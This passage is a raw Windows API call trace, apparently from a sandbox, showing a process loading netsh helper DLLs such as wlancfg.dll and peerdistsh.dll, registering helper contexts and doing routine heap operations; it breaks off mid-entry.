[0058.159] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x348) returned 0x31db10 [0058.159] memcpy (in: _Dst=0x31db10, _Src=0x31d3d0, _Size=0x320 | out: _Dst=0x31db10) returned 0x31db10 [0058.159] GetProcessHeap () returned 0x2c0000 [0058.159] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2fed00 [0058.160] GetProcessHeap () returned 0x2c0000 [0058.160] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x2fee00 [0058.160] _wcsupr (in: _String="wlancfg.dll" | out: _String="WLANCFG.DLL") returned="WLANCFG.DLL" [0058.160] GetProcessHeap () returned 0x2c0000 [0058.160] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x31d3d0 | out: hHeap=0x2c0000) returned 1 [0058.160] LoadLibraryW (lpLibFileName="WLANCFG.DLL") returned 0x7fef2280000 [0058.398] GetProcAddress (hModule=0x7fef2280000, lpProcName="InitHelperDll") returned 0x7fef228613c [0058.398] InitHelperDll () returned 0x0 [0058.398] RegisterHelper () returned 0x0 [0058.398] GetProcessHeap () returned 0x2c0000 [0058.398] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x11e0) returned 0x31b280 [0058.398] memcpy (in: _Dst=0x31b280, _Src=0x3190f0, _Size=0x1188 | out: _Dst=0x31b280) returned 0x31b280 [0058.398] memcpy (in: _Dst=0x31c408, _Src=0x207770, _Size=0x28 | out: _Dst=0x31c408) returned 0x31c408 [0058.398] GetProcessHeap () returned 0x2c0000 [0058.398] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x3190f0 | out: hHeap=0x2c0000) returned 1 [0058.398] RegEnumValueW (in: hKey=0x90, dwIndex=0x14, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="peerdistsh", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0058.398] _wcsicmp (_String1="peerdistsh.dll", _String2="ipxmontr.dll") returned 7 [0058.398] _wcsicmp (_String1="peerdistsh.dll", _String2="ipxpromn.dll") returned 7 [0058.398] GetProcessHeap () returned 0x2c0000 [0058.399] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x370) returned 0x3101a0 [0058.399] memcpy (in: _Dst=0x3101a0, _Src=0x31db10, _Size=0x348 | out: _Dst=0x3101a0) returned 0x3101a0 [0058.399] GetProcessHeap () returned 0x2c0000 [0058.399] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x16) returned 0x2fee20 [0058.399] GetProcessHeap () returned 0x2c0000 [0058.399] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1e) returned 0x3129f0 [0058.399] _wcsupr (in: _String="peerdistsh.dll" | out: _String="PEERDISTSH.DLL") returned="PEERDISTSH.DLL" [0058.399] GetProcessHeap () returned 0x2c0000 [0058.399] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x31db10 | out: hHeap=0x2c0000) returned 1 [0058.399] LoadLibraryW (lpLibFileName="PEERDISTSH.DLL") returned 0x7fef1940000 [0059.208] GetProcAddress (hModule=0x7fef1940000, lpProcName="InitHelperDll") returned 0x7fef19be69c [0059.208] InitHelperDll () returned 0x0 [0060.193] RegisterHelper () returned 0x0 [0060.193] GetProcessHeap () returned 0x2c0000 [0060.193] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1238) returned 0x31c470 [0060.193] memcpy (in: _Dst=0x31c470, _Src=0x31b280, _Size=0x11e0 | out: _Dst=0x31c470) returned 0x31c470 [0060.193] memcpy (in: _Dst=0x31d650, _Src=0x207770, _Size=0x28 | out: _Dst=0x31d650) returned 0x31d650 [0060.193] GetProcessHeap () returned 0x2c0000 [0060.193] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x31b280 | out: hHeap=0x2c0000) returned 1 [0060.193] RegisterHelper () returned 0x0 [0060.193] GetProcessHeap () returned 0x2c0000 [0060.193] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1290) returned 0x31db10 [0060.193] memcpy (in: _Dst=0x31db10, _Src=0x31c470, _Size=0x1238 | out: _Dst=0x31db10) returned 0x31db10 [0060.193] memcpy (in: _Dst=0x31ed48, _Src=0x207770, _Size=0x28 | out: _Dst=0x31ed48) returned 0x31ed48 [0060.193] GetProcessHeap () returned 0x2c0000 [0060.193] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x31c470 | out: hHeap=0x2c0000) returned 1 [0060.193] RegCloseKey (hKey=0x90) returned 0x0 [0060.193] GetProcessHeap () returned 0x2c0000 [0060.194] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e1d60 | out: hHeap=0x2c0000) returned 1 [0060.194] GetProcessHeap () returned 0x2c0000 [0060.194] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e24c0 | out: hHeap=0x2c0000) returned 1 [0060.195] GetProcessHeap () returned 0x2c0000 [0060.195] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x70) returned 0x2ec2f0 [0060.195] memcpy (in: _Dst=0x2ec2f0, _Src=0x207770, _Size=0x70 | out: _Dst=0x2ec2f0) returned 0x2ec2f0 [0060.195] GetProcessHeap () returned 0x2c0000 [0060.195] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2c0000) returned 1 [0060.196] RegisterContext () returned 0x0 [0060.198] GetProcessHeap () returned 0x2c0000 [0060.198] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x70) returned 0x2ec370 [0060.198] memcpy (in: _Dst=0x2ec370, _Src=0x207770, _Size=0x70 | out: _Dst=0x2ec370) returned 0x2ec370 [0060.198] GetProcessHeap () returned 0x2c0000 [0060.198] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2c0000) returned 1 [0060.501] RegisterContext () returned 0x0 [0060.501] GetProcessHeap () returned 0x2c0000 [0060.501] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x70) returned 0x2ec3f0 [0060.501] memcpy (in: _Dst=0x2ec3f0, _Src=0x207770, _Size=0x70 | out: _Dst=0x2ec3f0) returned 0x2ec3f0 [0060.501] GetProcessHeap () returned 0x2c0000 [0060.502] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2c0000) returned 1 [0060.502] RegisterContext () returned 0x0 [0060.502] _wcsicmp (_String1="ipv6", _String2="ip") returned 118 [0060.502] _wcsicmp (_String1="ipv6", _String2="ip") returned 118 [0060.502] GetProcessHeap () returned 0x2c0000 [0060.502] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe0) returned 0x308770 [0060.502] memcpy (in: _Dst=0x308770, _Src=0x2ec3f0, _Size=0x70 | out: _Dst=0x308770) returned 0x308770 [0060.502] memcpy (in: _Dst=0x3087e0, _Src=0x207770, _Size=0x70 | out: _Dst=0x3087e0) returned 0x3087e0 [0060.502] GetProcessHeap () returned 0x2c0000 [0060.502] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ec3f0 | out: hHeap=0x2c0000) returned 1 [0060.503] RegisterContext () returned 0x0 [0060.504] _wcsicmp (_String1="aaaa", _String2="ip") returned -8 [0060.504] _wcsicmp (_String1="aaaa", _String2="ipv6") returned -8 [0060.504] _wcsicmp (_String1="aaaa", _String2="ip") returned -8 [0060.504] GetProcessHeap () returned 0x2c0000 [0060.504] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x150) returned 0x31d4c0 [0060.504] memcpy (in: _Dst=0x31d4c0, _Src=0x207770, _Size=0x70 | out: _Dst=0x31d4c0) returned 0x31d4c0 [0060.504] memcpy (in: _Dst=0x31d530, _Src=0x308770, _Size=0xe0 | out: _Dst=0x31d530) returned 0x31d530 [0060.504] GetProcessHeap () returned 0x2c0000 [0060.504] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x308770 | out: hHeap=0x2c0000) returned 1 [0060.504] RegisterContext () returned 0x0 [0060.505] GetProcessHeap () returned 0x2c0000 [0060.505] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1c0) returned 0x311320 [0060.505] memcpy (in: _Dst=0x311320, _Src=0x31d4c0, _Size=0x70 | out: _Dst=0x311320) returned 0x311320 [0060.505] memcpy (in: _Dst=0x311390, _Src=0x207770, _Size=0x70 | out: _Dst=0x311390) returned 0x311390 [0060.505] memcpy (in: _Dst=0x311400, _Src=0x31d530, _Size=0xe0 | out: _Dst=0x311400) returned 0x311400 [0060.505] GetProcessHeap () returned 0x2c0000 [0060.505] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x31d4c0 | out: hHeap=0x2c0000) returned 1 [0060.505] RegisterContext () returned 0x0 [0060.505] GetProcessHeap () returned 0x2c0000 [0060.505] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe0) returned 0x308770 [0060.505] memcpy (in: _Dst=0x308770, _Src=0x2ec370, _Size=0x70 | out: _Dst=0x308770) returned 0x308770 [0060.505] memcpy (in: _Dst=0x3087e0, _Src=0x207740, _Size=0x70 | out: _Dst=0x3087e0) returned 0x3087e0 [0060.505] GetProcessHeap () returned 0x2c0000 [0060.505] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ec370 | out: hHeap=0x2c0000) returned 1 [0060.506] RegisterContext () returned 0x0 [0060.506] GetProcessHeap () returned 0x2c0000 [0060.506] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x150) returned 0x31d4c0 [0060.506] memcpy (in: _Dst=0x31d4c0, _Src=0x207770, _Size=0x70 | out: _Dst=0x31d4c0) returned 0x31d4c0 [0060.506] memcpy (in: _Dst=0x31d530, _Src=0x308770, _Size=0xe0 | out: _Dst=0x31d530) returned 0x31d530 [0060.506] GetProcessHeap () returned 0x2c0000 [0060.506] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x308770 | out: hHeap=0x2c0000) returned 1 [0060.506] RegisterContext () returned 0x0 [0060.506] GetProcessHeap () returned 0x2c0000 [0060.506] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1c0) returned 0x311770 [0060.506] memcpy (in: _Dst=0x311770, _Src=0x31d4c0, _Size=0x150 | out: _Dst=0x311770) returned 0x311770 [0060.506] memcpy (in: _Dst=0x3118c0, _Src=0x207770, _Size=0x70 | out: _Dst=0x3118c0) returned 0x3118c0 [0060.506] GetProcessHeap () returned 0x2c0000 [0060.506] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x31d4c0 | out: hHeap=0x2c0000) returned 1 [0060.506] RegisterContext () returned 0x0 [0060.506] GetProcessHeap () returned 0x2c0000 [0060.506] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x230) returned 0x31d4c0 [0060.506] memcpy (in: _Dst=0x31d4c0, _Src=0x311770, _Size=0x70 | out: _Dst=0x31d4c0) returned 0x31d4c0 [0060.506] memcpy (in: _Dst=0x31d530, _Src=0x207770, _Size=0x70 | out: _Dst=0x31d530) returned 0x31d530 [0060.506] memcpy (in: _Dst=0x31d5a0, _Src=0x3117e0, _Size=0x150 | out: _Dst=0x31d5a0) returned 0x31d5a0 [0060.506] GetProcessHeap () returned 0x2c0000 [0060.506] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x311770 | out: hHeap=0x2c0000) returned 1 [0060.523] RegisterContext () returned 0x0 [0060.523] GetProcessHeap () returned 0x2c0000 [0060.523] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x2a0) returned 0x311770 [0060.523] memcpy (in: _Dst=0x311770, _Src=0x31d4c0, _Size=0x70 | out: _Dst=0x311770) returned 0x311770 [0060.523] memcpy (in: _Dst=0x3117e0, _Src=0x207770, _Size=0x70 | out: _Dst=0x3117e0) returned 0x3117e0 [0060.523] memcpy (in: _Dst=0x311850, _Src=0x31d530, _Size=0x1c0 | out: _Dst=0x311850) returned 0x311850 [0060.523] GetProcessHeap () returned 0x2c0000 [0060.523] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x31d4c0 | out: hHeap=0x2c0000) returned 1 [0060.524] RegisterContext () returned 0x0 [0060.524] GetProcessHeap () returned 0x2c0000 [0060.524] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x310) returned 0x311a20 [0060.524] memcpy (in: _Dst=0x311a20, _Src=0x207770, _Size=0x70 | out: _Dst=0x311a20) returned 0x311a20 [0060.524] memcpy (in: _Dst=0x311a90, _Src=0x311770, _Size=0x2a0 | out: _Dst=0x311a90) returned 0x311a90 [0060.525] GetProcessHeap () returned 0x2c0000 [0060.525] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x311770 | out: hHeap=0x2c0000) returned 1 [0060.525] RegisterContext () returned 0x0 [0060.525] GetProcessHeap () returned 0x2c0000 [0060.525] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x70) returned 0x2ec370 [0060.525] memcpy (in: _Dst=0x2ec370, _Src=0x207770, _Size=0x70 | out: _Dst=0x2ec370) returned 0x2ec370 [0060.525] GetProcessHeap () returned 0x2c0000 [0060.525] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2c0000) returned 1 [0060.525] RegisterContext () returned 0x0 [0060.525] GetProcessHeap () returned 0x2c0000 [0060.525] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe0) returned 0x308770 [0060.525] memcpy (in: _Dst=0x308770, _Src=0x2ec370, _Size=0x70 | out: _Dst=0x308770) returned 0x308770 [0060.525] memcpy (in: _Dst=0x3087e0, _Src=0x207770, _Size=0x70 | out: _Dst=0x3087e0) returned 0x3087e0 [0060.525] GetProcessHeap () returned 0x2c0000 [0060.525] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ec370 | out: hHeap=0x2c0000) returned 1 [0060.525] RegisterContext () returned 0x0 [0060.525] GetProcessHeap () returned 0x2c0000 [0060.525] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x150) returned 0x31d4c0 [0060.525] memcpy (in: _Dst=0x31d4c0, _Src=0x308770, _Size=0xe0 | out: _Dst=0x31d4c0) returned 0x31d4c0 [0060.525] memcpy (in: _Dst=0x31d5a0, _Src=0x207770, _Size=0x70 | out: _Dst=0x31d5a0) returned 0x31d5a0 [0060.525] GetProcessHeap () returned 0x2c0000 [0060.526] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x308770 | out: hHeap=0x2c0000) returned 1 [0060.526] RegisterContext () returned 0x0 [0060.526] GetProcessHeap () returned 0x2c0000 [0060.526] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1c0) returned 0x311770 [0060.526] memcpy (in: _Dst=0x311770, _Src=0x31d4c0, _Size=0xe0 | out: _Dst=0x311770) returned 0x311770 [0060.526] memcpy (in: _Dst=0x311850, _Src=0x207770, _Size=0x70 | out: _Dst=0x311850) returned 0x311850 [0060.526] memcpy (in: _Dst=0x3118c0, _Src=0x31d5a0, _Size=0x70 | out: _Dst=0x3118c0) returned 0x3118c0 [0060.526] GetProcessHeap () returned 0x2c0000 [0060.526] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x31d4c0 | out: hHeap=0x2c0000) returned 1 [0060.526] RegisterContext () returned 0x0 [0060.526] GetProcessHeap () returned 0x2c0000 [0060.526] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x380) returned 0x311d40 [0060.526] memcpy (in: _Dst=0x311d40, _Src=0x311a20, _Size=0x1c0 | out: _Dst=0x311d40) returned 0x311d40 [0060.526] memcpy (in: _Dst=0x311f00, _Src=0x207770, _Size=0x70 | out: _Dst=0x311f00) returned 0x311f00 [0060.526] memcpy (in: _Dst=0x311f70, _Src=0x311be0, _Size=0x150 | out: _Dst=0x311f70) returned 0x311f70 [0060.526] GetProcessHeap () returned 0x2c0000 [0060.526] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x311a20 | out: hHeap=0x2c0000) returned 1 [0060.526] RegisterContext () returned 0x0 [0060.526] GetProcessHeap () returned 0x2c0000 [0060.526] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x3f0) returned 0x311940 [0060.526] memcpy (in: _Dst=0x311940, _Src=0x311d40, _Size=0x230 | out: _Dst=0x311940) returned 0x311940 [0060.526] memcpy (in: _Dst=0x311b70, _Src=0x207770, _Size=0x70 | out: _Dst=0x311b70) returned 0x311b70 [0060.527] memcpy (in: _Dst=0x311be0, _Src=0x311f70, _Size=0x150 | out: _Dst=0x311be0) returned 0x311be0 [0060.527] GetProcessHeap () returned 0x2c0000 [0060.527] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x311d40 | out: hHeap=0x2c0000) returned 1 [0060.527] RegisterContext () returned 0x0 [0060.527] GetProcessHeap () returned 0x2c0000 [0060.527] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x460) returned 0x3198f0 [0060.527] memcpy (in: _Dst=0x3198f0, _Src=0x311940, _Size=0xe0 | out: _Dst=0x3198f0) returned 0x3198f0 [0060.527] memcpy (in: _Dst=0x3199d0, _Src=0x207770, _Size=0x70 | out: _Dst=0x3199d0) returned 0x3199d0 [0060.527] memcpy (in: _Dst=0x319a40, _Src=0x311a20, _Size=0x310 | out: _Dst=0x319a40) returned 0x319a40 [0060.527] GetProcessHeap () returned 0x2c0000 [0060.527] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x311940 | out: hHeap=0x2c0000) returned 1 [0060.527] RegisterContext () returned 0x0 [0060.527] GetProcessHeap () returned 0x2c0000 [0060.527] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4d0) returned 0x319d60 [0060.527] memcpy (in: _Dst=0x319d60, _Src=0x3198f0, _Size=0x2a0 | out: _Dst=0x319d60) returned 0x319d60 [0060.527] memcpy (in: _Dst=0x31a000, _Src=0x207770, _Size=0x70 | out: _Dst=0x31a000) returned 0x31a000 [0060.527] memcpy (in: _Dst=0x31a070, _Src=0x319b90, _Size=0x1c0 | out: _Dst=0x31a070) returned 0x31a070 [0060.527] GetProcessHeap () returned 0x2c0000 [0060.527] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x3198f0 | out: hHeap=0x2c0000) returned 1 [0060.527] RegisterContext () returned 0x0 [0060.527] GetProcessHeap () returned 0x2c0000 [0060.527] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x70) returned 0x2ec370 [0060.527] memcpy (in: _Dst=0x2ec370, _Src=0x207770, _Size=0x70 | out: _Dst=0x2ec370) returned 0x2ec370 [0060.527] GetProcessHeap () returned 0x2c0000 [0060.527] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2c0000) returned 1 [0060.527] RegisterContext () returned 0x0 [0060.527] GetProcessHeap () returned 0x2c0000 [0060.527] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe0) returned 0x308770 [0060.527] memcpy (in: _Dst=0x308770, _Src=0x2ec370, _Size=0x70 | out: _Dst=0x308770) returned 0x308770 [0060.527] memcpy (in: _Dst=0x3087e0, _Src=0x207770, _Size=0x70 | out: _Dst=0x3087e0) returned 0x3087e0 [0060.527] GetProcessHeap () returned 0x2c0000 [0060.527] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ec370 | out: hHeap=0x2c0000) returned 1 [0060.528] RegisterContext () returned 0x0 [0060.528] GetProcessHeap () returned 0x2c0000 [0060.528] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x150) returned 0x31d4c0 [0060.528] memcpy (in: _Dst=0x31d4c0, _Src=0x2076a0, _Size=0x70 | out: _Dst=0x31d4c0) returned 0x31d4c0 [0060.528] memcpy (in: _Dst=0x31d530, _Src=0x308770, _Size=0xe0 | out: _Dst=0x31d530) returned 0x31d530 [0060.528] GetProcessHeap () returned 0x2c0000 [0060.528] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x308770 | out: hHeap=0x2c0000) returned 1 [0060.528] RegisterContext () returned 0x0 [0060.528] GetProcessHeap () returned 0x2c0000 [0060.528] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1c0) returned 0x3198f0 [0060.528] memcpy (in: _Dst=0x3198f0, _Src=0x31d4c0, _Size=0x150 | out: _Dst=0x3198f0) returned 0x3198f0 [0060.528] memcpy (in: _Dst=0x319a40, _Src=0x2076a0, _Size=0x70 | out: _Dst=0x319a40) returned 0x319a40 [0060.528] GetProcessHeap () returned 0x2c0000 [0060.529] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x31d4c0 | out: hHeap=0x2c0000) returned 1 [0060.529] RegisterContext () returned 0x0 [0060.529] GetProcessHeap () returned 0x2c0000 [0060.529] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x230) returned 0x31d4c0 [0060.529] memcpy (in: _Dst=0x31d4c0, _Src=0x3198f0, _Size=0x1c0 | out: _Dst=0x31d4c0) returned 0x31d4c0 [0060.529] memcpy (in: _Dst=0x31d680, _Src=0x207770, _Size=0x70 | out: _Dst=0x31d680) returned 0x31d680 [0060.529] GetProcessHeap () returned 0x2c0000 [0060.529] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x3198f0 | out: hHeap=0x2c0000) returned 1 [0060.530] RegisterContext () returned 0x0 [0060.530] GetProcessHeap () returned 0x2c0000 [0060.530] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x2a0) returned 0x3198f0 [0060.530] memcpy (in: _Dst=0x3198f0, _Src=0x31d4c0, _Size=0x1c0 | out: _Dst=0x3198f0) returned 0x3198f0 [0060.530] memcpy (in: _Dst=0x319ab0, _Src=0x2076a0, _Size=0x70 | out: _Dst=0x319ab0) returned 0x319ab0 [0060.530] memcpy (in: _Dst=0x319b20, _Src=0x31d680, _Size=0x70 | out: _Dst=0x319b20) returned 0x319b20 [0060.530] GetProcessHeap () returned 0x2c0000 [0060.530] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x31d4c0 | out: hHeap=0x2c0000) returned 1 [0060.530] RegisterContext () returned 0x0 [0060.530] GetProcessHeap () returned 0x2c0000 [0060.530] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x70) returned 0x2ec370 [0060.530] memcpy (in: _Dst=0x2ec370, _Src=0x207720, _Size=0x70 | out: _Dst=0x2ec370) returned 0x2ec370 [0060.530] GetProcessHeap () returned 0x2c0000 [0060.530] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2c0000) returned 1 [0060.530] RegisterContext () returned 0x0 [0060.530] GetProcessHeap () returned 0x2c0000 [0060.530] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe0) returned 0x308770 [0060.530] memcpy (in: _Dst=0x308770, _Src=0x2ec370, _Size=0x70 | out: _Dst=0x308770) returned 0x308770 [0060.530] memcpy (in: _Dst=0x3087e0, _Src=0x207720, _Size=0x70 | out: _Dst=0x3087e0) returned 0x3087e0 [0060.530] GetProcessHeap () returned 0x2c0000 [0060.530] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ec370 | out: hHeap=0x2c0000) returned 1 [0060.530] RegisterContext () returned 0x0 [0060.530] RegisterContext () returned 0x0 [0060.530] GetProcessHeap () returned 0x2c0000 [0060.530] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x310) returned 0x311940 [0060.530] memcpy (in: _Dst=0x311940, _Src=0x3198f0, _Size=0x70 | out: _Dst=0x311940) returned 0x311940 [0060.530] memcpy (in: _Dst=0x3119b0, _Src=0x207770, _Size=0x70 | out: _Dst=0x3119b0) returned 0x3119b0 [0060.530] memcpy (in: _Dst=0x311a20, _Src=0x319960, _Size=0x230 | out: _Dst=0x311a20) returned 0x311a20 [0060.530] GetProcessHeap () returned 0x2c0000 [0060.530] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x3198f0 | out: hHeap=0x2c0000) returned 1 [0060.530] RegisterContext () returned 0x0 [0060.531] GetProcessHeap () returned 0x2c0000 [0060.531] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x380) returned 0x3198f0 [0060.531] memcpy (in: _Dst=0x3198f0, _Src=0x311940, _Size=0x2a0 | out: _Dst=0x3198f0) returned 0x3198f0 [0060.531] memcpy (in: _Dst=0x319b90, _Src=0x207770, _Size=0x70 | out: _Dst=0x319b90) returned 0x319b90 [0060.531] memcpy (in: _Dst=0x319c00, _Src=0x311be0, _Size=0x70 | out: _Dst=0x319c00) returned 0x319c00 [0060.531] GetProcessHeap () returned 0x2c0000 [0060.531] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x311940 | out: hHeap=0x2c0000) returned 1 [0060.531] RegisterContext () returned 0x0 [0060.531] GetProcessHeap () returned 0x2c0000 [0060.531] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x540) returned 0x311940 [0060.531] memcpy (in: _Dst=0x311940, _Src=0x319d60, _Size=0x460 | out: _Dst=0x311940) returned 0x311940 [0060.531] memcpy (in: _Dst=0x311da0, _Src=0x207770, _Size=0x70 | out: _Dst=0x311da0) returned 0x311da0 [0060.531] memcpy (in: _Dst=0x311e10, _Src=0x31a1c0, _Size=0x70 | out: _Dst=0x311e10) returned 0x311e10 [0060.531] GetProcessHeap () returned 0x2c0000 [0060.531] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x319d60 | out: hHeap=0x2c0000) returned 1 [0060.531] RegisterContext () returned 0x0 [0060.531] GetProcessHeap () returned 0x2c0000 [0060.531] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x5b0) returned 0x319c80 [0060.531] memcpy (in: _Dst=0x319c80, _Src=0x311940, _Size=0x70 | out: _Dst=0x319c80) returned 0x319c80 [0060.531] memcpy (in: _Dst=0x319cf0, _Src=0x207770, _Size=0x70 | out: _Dst=0x319cf0) returned 0x319cf0 [0060.531] memcpy (in: _Dst=0x319d60, _Src=0x3119b0, _Size=0x4d0 | out: _Dst=0x319d60) returned 0x319d60 [0060.531] GetProcessHeap () returned 0x2c0000 [0060.531] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x311940 | out: hHeap=0x2c0000) returned 1 [0060.531] RegisterContext () returned 0x0 [0060.531] GetProcessHeap () returned 0x2c0000 [0060.532] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x620) returned 0x311940 [0060.532] memcpy (in: _Dst=0x311940, _Src=0x319c80, _Size=0x460 | out: _Dst=0x311940) returned 0x311940 [0060.532] memcpy (in: _Dst=0x311da0, _Src=0x207770, _Size=0x70 | out: _Dst=0x311da0) returned 0x311da0 [0060.532] memcpy (in: _Dst=0x311e10, _Src=0x31a0e0, _Size=0x150 | out: _Dst=0x311e10) returned 0x311e10 [0060.532] GetProcessHeap () returned 0x2c0000 [0060.532] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x319c80 | out: hHeap=0x2c0000) returned 1 [0060.532] RegisterContext () returned 0x0 [0060.532] GetProcessHeap () returned 0x2c0000 [0060.532] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x70) returned 0x2ec370 [0060.532] memcpy (in: _Dst=0x2ec370, _Src=0x207770, _Size=0x70 | out: _Dst=0x2ec370) returned 0x2ec370 [0060.532] GetProcessHeap () returned 0x2c0000 [0060.532] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2c0000) returned 1 [0060.532] RegisterContext () returned 0x0 [0060.532] GetProcessHeap () returned 0x2c0000 [0060.532] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x690) returned 0x324a40 [0060.532] memcpy (in: _Dst=0x324a40, _Src=0x311940, _Size=0x310 | out: _Dst=0x324a40) returned 0x324a40 [0060.532] memcpy (in: _Dst=0x324d50, _Src=0x207770, _Size=0x70 | out: _Dst=0x324d50) returned 0x324d50 [0060.532] memcpy (in: _Dst=0x324dc0, _Src=0x311c50, _Size=0x310 | out: _Dst=0x324dc0) returned 0x324dc0 [0060.532] GetProcessHeap () returned 0x2c0000 [0060.532] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x311940 | out: hHeap=0x2c0000) returned 1 [0060.842] RegisterContext () returned 0x0 [0060.842] GetProcessHeap () returned 0x2c0000 [0060.842] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x700) returned 0x311940 [0060.842] memcpy (in: _Dst=0x311940, _Src=0x324a40, _Size=0x3f0 | out: _Dst=0x311940) returned 0x311940 [0060.842] memcpy (in: _Dst=0x311d30, _Src=0x207770, _Size=0x70 | out: _Dst=0x311d30) returned 0x311d30 [0060.842] memcpy (in: _Dst=0x311da0, _Src=0x324e30, _Size=0x2a0 | out: _Dst=0x311da0) returned 